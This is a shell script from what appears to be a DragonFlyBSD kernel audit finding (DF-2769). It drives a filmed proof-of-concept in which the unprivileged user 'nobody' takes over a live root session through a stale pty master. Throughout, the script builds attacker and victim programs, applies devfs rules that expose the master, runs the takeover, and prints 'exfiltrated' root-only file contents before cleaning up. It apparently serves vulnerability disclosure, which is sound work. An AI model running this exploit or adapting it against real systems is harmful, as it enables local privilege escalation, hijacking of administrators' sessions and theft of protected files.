โฌข DragonFlyBSD Kernel Audit
DF-2769 / film_run.sh
โ† back to finding โ†“ download raw
#!/bin/sh
# DF-2769 โ€” FILM TAKE (one continuous session, untrimmed)
#
# Two actors on one DragonFly console:
#   VICTIM   = root admin session on a pty whose terminal dies (film_victim)
#   ATTACKER = 'nobody' discovering + taking over the stale master (film_attack)
# This driver is the NARRATOR only.  Everything is teed into
# /root/film/run_film.log AND /dev/console (serial capture), live.
#
# Beat sheet (mirrors FILM_SCRIPT.md):
#   0 SETUP        1 VICTIM-LIVE      2 TERMINAL-CRASH
#   3 ATTACK-PROBE (default devfs: fenced)
#   4 DEVFS-CONFIG (admin show-rules, jail/expose-/dev style)
#   5-7 ATTACK: takeover -> inject+capture -> live control
#   8 PROOF        9 CLEANUP

FD=/tmp/film
LOG=$FD/run_film.log

rm -f $LOG $FD/film.pipe $FD/victim.info
mkfifo $FD/film.pipe
# tee started BEFORE the redirect: its own stdout stays = this ssh session,
# so the film streams live to the operator as well as to log + serial console.
tee -a $LOG /dev/console < $FD/film.pipe &
TE=$!
exec > $FD/film.pipe 2>&1

ts()   { date '+%H:%M:%S'; }
beat() { printf '\n\n========== [%s] BEAT %s โ€” %s ==========\n' "$(ts)" "$1" "$2"; }

beat 0 "SETUP: the stage"
printf 'DF-2769 โ€” stale unix98 pty master re-open = takeover of a live ROOT session\n'
printf 'kernel: '; uname -a
printf 'date:   '; date
printf 'narrator (this console) runs as: '; id
printf 'attacker will be: '; su -m nobody -c id
printf 'pre-state of proof files (must not exist):\n'
ls -l /tmp/df2769_pwned /tmp/df2769_secret /tmp/df2769_marker 2>&1 | sed 's/^/  /'
printf 'building the two actors:\n'
cc -O2 -Wall -o $FD/film_victim $FD/film_victim.c 2>&1 | sed 's/^/  cc: /'
cc -O2 -Wall -o $FD/film_attack $FD/film_attack.c 2>&1 | sed 's/^/  cc: /'
cc -O2 -o $FD/film_churn $FD/film_churn.c 2>&1 | sed 's/^/  cc: /'
ls -l $FD/film_victim $FD/film_attack $FD/film_churn | sed 's/^/  built: /'

beat 1 "VICTIM (root): admin opens a root shell inside a terminal"
$FD/film_victim &
VPA=$!
i=0
while [ ! -f $FD/victim.info ] && [ $i -lt 10 ]; do sleep 1; i=$((i+1)); done
UNIT=$(sed -n 's/^UNIT=//p' $FD/victim.info)
VPID=$(sed -n 's/^PID=//p'  $FD/victim.info)
printf '[narrator] victim session: %s (pid %s) โ€” watch the screen above: it is ALIVE and INTERACTIVE\n' "$UNIT" "$VPID"
wait $VPA
printf '[narrator] the terminal has exited. the session has NOT.\n'

beat 2 "TERMINAL CRASH: root session survives on a dead (ZOMBIE) tty"
printf 'the session leader, after its terminal died:\n'
ps -o pid,ppid,uid,stat,command -p $VPID | sed 's/^/  /'
printf 'its terminal (slave device) still exists: '
ls -l $UNIT
printf '[narrator] SIGHUP was ignored (nohup-style leader): a root shell now sits\n'
printf '[narrator] silently on a ZOMBIE pty whose master seat is EMPTY.\n'

beat 3 "ATTACKER (nobody): first probe โ€” DEFAULT devfs"
printf 'attacker runs the exact same unprivileged command it will always run:\n'
printf '  $ su -m nobody -c "%s/film_attack %s"\n' "$FD" "$UNIT"
su -m nobody -c "$FD/film_attack $UNIT"
printf '[narrator] fenced: /dev/ptm is DEVFS_HIDDEN on the default ruleset (ENOENT).\n'
printf '[narrator] note: no /dev/ptm appears in /dev at all right now โ€” only ptmx:\n'
ls -l /dev/ptm* 2>&1 | sed 's/^/  /'

beat 4 "CONFIG: this host applies devfs SHOW rules (jail /dev trees do exactly this)"
printf '[narrator] the system churns on (logins, cron, any pty allocation):\n'
sleep 2
$FD/film_churn
printf 'admin rule file (%s/rules):\n' "$FD"
sed 's/\t/ \[TAB\] /g' $FD/rules | sed 's/^/  /'
devfsctl -a -m /dev -f $FD/rules && printf '[narrator] RULES_APPLIED (same class as jail devfs rulesets / devfs.conf show recipes)\n'
printf 'attacker view now:\n'
ls -l /dev/ptm* 2>&1 | sed 's/^/  /'
printf '[narrator] note the stale master: 0666 root:root, world-openable.\n'

beat 5 "ATTACKER (nobody): full takeover โ€” stale master, ZOMBIE clear, injection, live control"
su -m nobody -c "$FD/film_attack $UNIT"

beat 8 "PROOF: what just happened"
printf 'attacker identity never changed: '; su -m nobody -c id
printf 'files created BY THE ROOT SESSION for the attacker:\n'
ls -l /tmp/df2769_pwned /tmp/df2769_secret /tmp/df2769_marker 2>&1 | sed 's/^/  /'
printf -- '--- /tmp/df2769_pwned (owner: root; content written by the hijacked session) ---\n'
sed 's/^/  /' /tmp/df2769_pwned
printf -- '--- /tmp/df2769_secret (root-only file exfiltrated through the session; first 3 lines, truncated) ---\n'
head -3 /tmp/df2769_secret | cut -c1-72 | sed 's/^/  /'
printf -- '--- marker ownership ---\n'
stat -f '  owner=%Su:%Sg mode=%Sp file=%N' /tmp/df2769_marker /tmp/df2769_pwned /tmp/df2769_secret

beat 9 "CLEANUP: demo hygiene"
kill $VPID 2>/dev/null && printf '[narrator] victim session (%s) terminated\n' "$VPID"
rm -f /tmp/df2769_pwned /tmp/df2769_secret /tmp/df2769_marker
devfsctl -c -m /dev && printf '[narrator] devfs rules cleared (nodes re-hide at next boot; -r node-reset deliberately not used)\n'
ls -l /dev/ptm* 2>&1 | sed 's/^/  /'
printf '\n========== [%s] FILM END โ€” nobody -> live root session takeover ==========\n' "$(ts)"

exec >&- 2>&-
wait $TE
rm -f $FD/film.pipe
exit 0